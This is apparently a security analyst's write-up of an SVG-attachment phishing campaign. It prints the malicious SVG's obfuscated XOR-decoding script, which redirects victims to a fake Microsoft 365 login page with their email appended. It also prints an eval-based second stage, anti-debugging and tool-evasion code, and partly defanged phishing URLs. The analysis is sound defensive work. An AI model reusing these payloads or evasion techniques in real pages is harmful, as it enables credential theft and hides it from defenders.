These emails seem to be coming in with just a title indicating some kind of To Do list (“To Do”, “Your-To-do-List 7/8/2025”, etc). There is no email body/content. They have a single SVG “image” file as an attachment (“List.svg”, “ToDoList.svg”, etc).

User Actions Path
A user opens the SVG file, and then the SVG file opens a webpage. After a redirect or two, we reach a Microsoft 365-looking login page filled with the user’s email address.

Technical Breakdown
The SVG file appears to be the bare minimum required for an SVG to load properly, along with a script block that executes a block of JavaScript code.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">
<script>
<![CDATA[
w = 'anNtaXRoQGV4YW1wbGUuY29t';
(() => { const G = "67b98c9df336eb2505f54f80"; const p = "415e0c5d57141708095052420c0d5c1b58470353145b1851425800115802713606181106062a101e12785079164d1a490f4f401258070b5106181146010b101e12001e57164d1f774645451258007e0006181100290f101e17631c79134d584a784d02121a017e1c441811070637101e176f166f134d585a7c03021258066a220618117b291b101e50645b551d4d4f0b"; const V = (C) => C.match(/.{2}/g) || []; const Y = (n) => String.fromCodePoint(new Uint16Array([n])[0]); const O = []; V(p).forEach((h, K) => { const c = parseInt(h, 16); const y = G.codePointAt(K % G.length); O.push(Y(c ^ y)); }); const j = O.join(''); const E = { toJSON: () => (new Function(j).call(window), {}) }; JSON.stringify(E); })();
]]>
</script>
</svg>
The JavaScript code cleaned up a bit:
w = 'anNtaXRoQGV4YW1wbGUuY29t';
(
() => {
const G = "67b98c9df336eb2505f54f80";
const p = "415e0c5d57141708095052420c0d5c1b58470353145b1851425800115802713606181106062a101e12785079164d1a490f4f401258070b5106181146010b101e12001e57164d1f774645451258007e0006181100290f101e17631c79134d584a784d02121a017e1c441811070637101e176f166f134d585a7c03021258066a220618117b291b101e50645b551d4d4f0b";
const V = (C) => C.match(/.{2}/g) || [];
const Y = (n) => String.fromCodePoint(new Uint16Array([n])[0]);
const O = [];
V(p).forEach((h, K) => {
const c = parseInt(h, 16);
const y = G.codePointAt(K % G.length);
O.push(Y(c ^ y));
});
const j = O.join('');
const E = {
toJSON: () => (new Function(j).call(window), {})
};
JSON.stringify(E);
}
)();
Variable ‘w’ is the recipient’s email address, base64-encoded. The rest of the code is used to decode the malicious URL that will soon be opened. Variables ‘G’ and ‘p’ are used by the forEach loop to create a character array. The character array decodes to executable JavaScript code.
window.location.href = atob(`aHR`+"0cH"+"M6L"+"y9x"+`d25`+"pdi"+"5xb"+'Gpr'+`cGd`+"6Lm"+'VzL'+`zNz`+"bGx"+"1cU"+'ZpZ'+`jJ4`+`eSF`+"MLy"+`Q=`)+w;
The atob() function base64 decodes the string to the final base URL (“hXXps://qwniv.qljkpgz.es/3slluqFif2xy!L/$”) and appends the base64 encoded email address at the end (“hXXps://qwniv.qljkpgz.es/3slluqFif2xy!L/$anNtaXRoQGV4YW1wbGUuY29t”).
Based on response headers, this seems to be a Laravel site cached behind Cloudflare. The response is more Javascript.
<script src="https://cdn.jsdelivr.net/npm/lz-string@1.4.4/libs/lz-string.min.js"></script>
<script>
( () => {
const k = [103, 108, 111, 98, 97, 108, 84, 104, 105, 115].map(b => String.fromCharCode(b)).join('');
const q = (typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {});
const l = [101, 118, 97, 108].map(v => String.fromCharCode(v)).join('');
const p = [76, 90, 83, 116, 114, 105, 110, 103, 46, 100, 101, 99, 111, 109, 112, 114, 101, 115, 115, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52].map(t => String.fromCharCode(t)).join('');
const u = q[l] || q[k][l];
const y = q['LZString'] || q[k]['LZString'];
const a = y ? y[p.split('.')[1]] : null;
if (a && u) {
const e = "OoUwagxg8gXgtgVSgTwAQF5U[...]1jSlIb0aU59vZMmUsgEJAgAA==";
const f = a(e);
if (f) {
u(f);
}
}
}
)();
</script>
‘l’ evaluates to ‘eval’.
‘p’ evaluates to ‘LZString.decompressFromBase64’.
This section base64 decodes the string in variable ‘e’ and decompresses it using the sourced lz-string script, then evaluates the results.
I didn’t bother to manually base64 decode and LZ decompress the results, but I used the browser’s dev tools to extract them here.
if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
window.location = "about:blank";
}
document.addEventListener("keydown", function (event) {
function ru(event) {
const bz = [
{ keyCode: 123 },
{ ctrl: true, keyCode: 85 },
{ ctrl: true, shift: true, keyCode: 73 },
{ ctrl: true, shift: true, keyCode: 67 },
{ ctrl: true, shift: true, keyCode: 74 },
{ ctrl: true, shift: true, keyCode: 75 },
{ ctrl: true, keyCode: 72 }, // Ctrl + H
{ meta: true, alt: true, keyCode: 73 },
{ meta: true, alt: true, keyCode: 67 },
{ meta: true, keyCode: 85 }
];
return bz.some(wh =>
(!wh.ctrl || event.ctrlKey) &&
(!wh.shift || event.shiftKey) &&
(!wh.meta || event.metaKey) &&
(!wh.alt || event.altKey) &&
event.keyCode === wh.keyCode
);
}
if (ru(event)) {
event.preventDefault();
return false;
}
});
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});
jf = false;
(function pr() {
let nh = false;
const tb = 100;
setInterval(function() {
const dc = performance.now();
debugger;
const ca = performance.now();
if (ca - dc > tb && !nh) {
jf = true;
nh = true;
window.location.replace('https://www.alibaba.com');
}
}, 100);
})();
The window.location.replace() function at the end seems to be randomized. On previous loads it has redirected to Google, Etsy, etc. instead. The keycode section disables the F12 shortcut for debug tools, Ctrl+u, Ctrl+h, etc. The ‘contextmenu’ section disables right-click. This script appears to be designed to prevent debuggers and other testing tools from determining the site’s intended behavior.
While I didn’t dig in deep enough to bypass these blocks, I was able to also identify an additional URL that seems to be more base64-encoded and encrypted code (“hXXps://qwniv.qljkpgz.es/34lyO2PtsMG1uOs1WIGV6RuCpaKyghDAX1fYS389110”).
When loading the page without DevTools open, I get a reload to another page with junk arguments designed to resemble a proper Microsoft 365 login page URL.
hXXps://qwniv.qljkpgz.es/ys8j94c04hovq?common/oauth2/v2.0/authorize?client_id=020f1417be-a5f57659-c2a811891d05d91-7c06544b-5f8[…]11b86971a&locales=en
I ended my investigation here.